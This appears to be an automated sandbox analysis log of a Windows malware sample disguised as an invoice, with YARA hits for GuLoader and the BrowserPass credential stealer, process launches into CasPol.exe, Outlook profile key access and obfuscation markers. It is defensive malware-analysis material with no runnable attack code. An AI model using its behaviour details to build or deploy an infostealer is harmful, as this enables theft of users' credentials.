Source: 7.2.CasPol.exe.37520000.3.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_BrowserPass date = 2020-12-28, author = Arnim Rupp (https://github.com/ruppde), description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/jabiel/BrowserPass, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: HKTL_NET_GUID_BrowserPass date = 2020-12-28, author = Arnim Rupp (https://github.com/ruppde), description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/jabiel/BrowserPass, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 2584

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_00403350 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_00403350

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

File created: C:\Windows\SysWOW64\Arbejdsglderne

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_00404C3F	1_2_00404C3F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D25C78	7_2_00D25C78
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D26778	7_2_00D26778
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D27460	7_2_00D27460
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2BE60	7_2_00D2BE60
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D24E10	7_2_00D24E10
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2A8D0	7_2_00D2A8D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D23CD0	7_2_00D23CD0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D22FD0	7_2_00D22FD0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D204C0	7_2_00D204C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D249C0	7_2_00D249C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2B5C0	7_2_00D2B5C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2A8C0	7_2_00D2A8C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D28EC8	7_2_00D28EC8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D23CCE	7_2_00D23CCE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D222F0	7_2_00D222F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D215F0	7_2_00D215F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D263FA	7_2_00D263FA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D222E2	7_2_00D222E2
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D22FE0	7_2_00D22FE0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D22B90	7_2_00D22B90
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D21E9E	7_2_00D21E9E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D23880	7_2_00D23880
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2A480	7_2_00D2A480
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D22B80	7_2_00D22B80
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D281B0	7_2_00D281B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D211B0	7_2_00D211B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D249B0	7_2_00D249B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D29BB8	7_2_00D29BB8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D28EB9	7_2_00D28EB9
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D204BE	7_2_00D204BE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2B5BE	7_2_00D2B5BE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D211A0	7_2_00D211A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D21EA0	7_2_00D21EA0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D281A0	7_2_00D281A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D29BA9	7_2_00D29BA9
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D20D50	7_2_00D20D50
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D21A50	7_2_00D21A50
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2BE55	7_2_00D2BE55
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D29759	7_2_00D29759
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D22740	7_2_00D22740
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D21A4E	7_2_00D21A4E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2B170	7_2_00D2B170
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D24570	7_2_00D24570
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D20070	7_2_00D20070
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D28A76	7_2_00D28A76
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D28A78	7_2_00D28A78
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2387E	7_2_00D2387E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2A47E	7_2_00D2A47E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D20D60	7_2_00D20D60
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2B161	7_2_00D2B161
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2456A	7_2_00D2456A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D29768	7_2_00D29768
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D25C68	7_2_00D25C68
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D26769	7_2_00D26769
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D20910	7_2_00D20910
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2BA10	7_2_00D2BA10
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D24110	7_2_00D24110
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D20011	7_2_00D20011
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2AD16	7_2_00D2AD16
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D29318	7_2_00D29318
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D28619	7_2_00D28619
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D26400	7_2_00D26400
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D21600	7_2_00D21600
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D20906	7_2_00D20906
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2BA0B	7_2_00D2BA0B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D29309	7_2_00D29309
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D22732	7_2_00D22732
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2A030	7_2_00D2A030
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D23430	7_2_00D23430
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2AD20	7_2_00D2AD20
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D24120	7_2_00D24120
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2A020	7_2_00D2A020
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D2342B	7_2_00D2342B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_00D28628	7_2_00D28628
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F212E8	7_2_36F212E8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F296A0	7_2_36F296A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F22C83	7_2_36F22C83
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2DC70	7_2_36F2DC70
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2F200	7_2_36F2F200
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F265C8	7_2_36F265C8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2212B	7_2_36F2212B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F264D0	7_2_36F264D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2CED0	7_2_36F2CED0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2E0C0	7_2_36F2E0C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F29ECB	7_2_36F29ECB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F25EA0	7_2_36F25EA0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F214A8	7_2_36F214A8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2FAAE	7_2_36F2FAAE
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F29690	7_2_36F29690
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F25E9E	7_2_36F25E9E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F25A79	7_2_36F25A79
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2F650	7_2_36F2F650
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F26C19	7_2_36F26C19
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2B408	7_2_36F2B408
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2ABF3	7_2_36F2ABF3
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2B3F8	7_2_36F2B3F8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2C3E8	7_2_36F2C3E8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2C3DA	7_2_36F2C3DA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2EDB0	7_2_36F2EDB0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F265B7	7_2_36F265B7
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2E961	7_2_36F2E961
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2BD40	7_2_36F2BD40
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2BD30	7_2_36F2BD30
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2E510	7_2_36F2E510
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2910F	7_2_36F2910F

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_34B6A67E NtQuerySystemInformation,		7_2_34B6A67E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_34B6A64D NtQuerySystemInformation,		7_2_34B6A64D

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Section loaded: edgegdi.dll			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll			Jump to behavior

Source: Rechung-R1663322504.exe

Static PE information: invalid certificate

Source: Rechung-R1663322504.exe	ReversingLabs: Detection: 30%
Source: Rechung-R1663322504.exe	Virustotal: Detection: 37%

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

File read: C:\Users\user\Desktop\Rechung-R1663322504.exe

Jump to behavior

Source: Rechung-R1663322504.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Rechung-R1663322504.exe C:\Users\user\Desktop\Rechung-R1663322504.exe
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 2584
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 2584	Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_00403350 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,	1_2_00403350
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_34B6A502 AdjustTokenPrivileges,	7_2_34B6A502
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_34B6A4CB AdjustTokenPrivileges,	7_2_34B6A4CB

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

File created: C:\Users\user\Socialdirektrer

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

File created: C:\Users\user\AppData\Local\Temp\nsxF7C5.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/15@3/3

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_004020FE CoCreateInstance,

1_2_004020FE

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_004046C3 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_004046C3

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5764:304:WilStaging_02
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File written: C:\Windows\assembly\Desktop.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: Rechung-R1663322504.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Development\Releases\Json\Working\Src\Newtonsoft.Json\bin\Release\DotNet20\7d562147-cd91-4fc9-8abf-f0e85d79adad\Newtonsoft.Json.Net20.pdb source: CasPol.exe, 00000007.00000002.52546988980.0000000035EB7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52540526737.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52546988980.0000000035F86000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52561889914.0000000037600000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\C L A Y\Desktop\BrowserPass-master\BrowserPass\obj\Debug\BrowserPass.pdb source: CasPol.exe, 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: -Cl#"costura.browserpass.pdb.compressed source: CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\C L A Y\Desktop\BrowserPass-master\BrowserPass\obj\Debug\BrowserPass.pdbPUjU \U_CorDllMainmscoree.dll source: CasPol.exe, 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: -Cl-,costura.newtonsoft.json.net20.pdb.compressed,)Cl\| source: CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.52371090291.000000000690B000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A8BC82 pushfd ; retf	1_3_00A8BC83
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A8BEFE push EC8D5275h; retf	1_3_00A8BF03
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A88800 push eax; retf	1_3_00A88803
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A87879 pushad ; retf	1_3_00A8787B
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A8104B push es; ret	1_3_00A8104E
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A80DBC push es; retf	1_3_00A80EA6
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A877CD push edi; retf	1_3_00A87823
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A89B29 push esi; retf	1_3_00A89B4C
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_3_00A8A162 pushad ; retf 0029h	1_3_00A8A163
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_10002DE0 push eax; ret	1_2_10002E0E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2FAA2 push esp; ret	7_2_36F2FAA5
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2203B push ebp; ret	7_2_36F22042
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F22013 push ebx; ret	7_2_36F2201A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F22011 push ebx; ret	7_2_36F22012
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21FE8 push ebx; ret	7_2_36F21FEA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F2C3DA push 36F2C3BDh; ret	7_2_36F2C3A3
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21FC1 push ebx; ret	7_2_36F21FC2
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21F99 push ebx; ret	7_2_36F21F9A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21D47 push edx; ret	7_2_36F21D4A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21D4B push ebx; ret	7_2_36F21D4E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21D4F push ebx; ret	7_2_36F21D52
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F22121 push edi; ret	7_2_36F22122
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 7_2_36F21D01 push ecx; ret	7_2_36F21D02

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_10001B18

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File created: C:\Users\user\AppData\Local\Temp\nsiF853.tmp\AdvSplash.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File created: C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
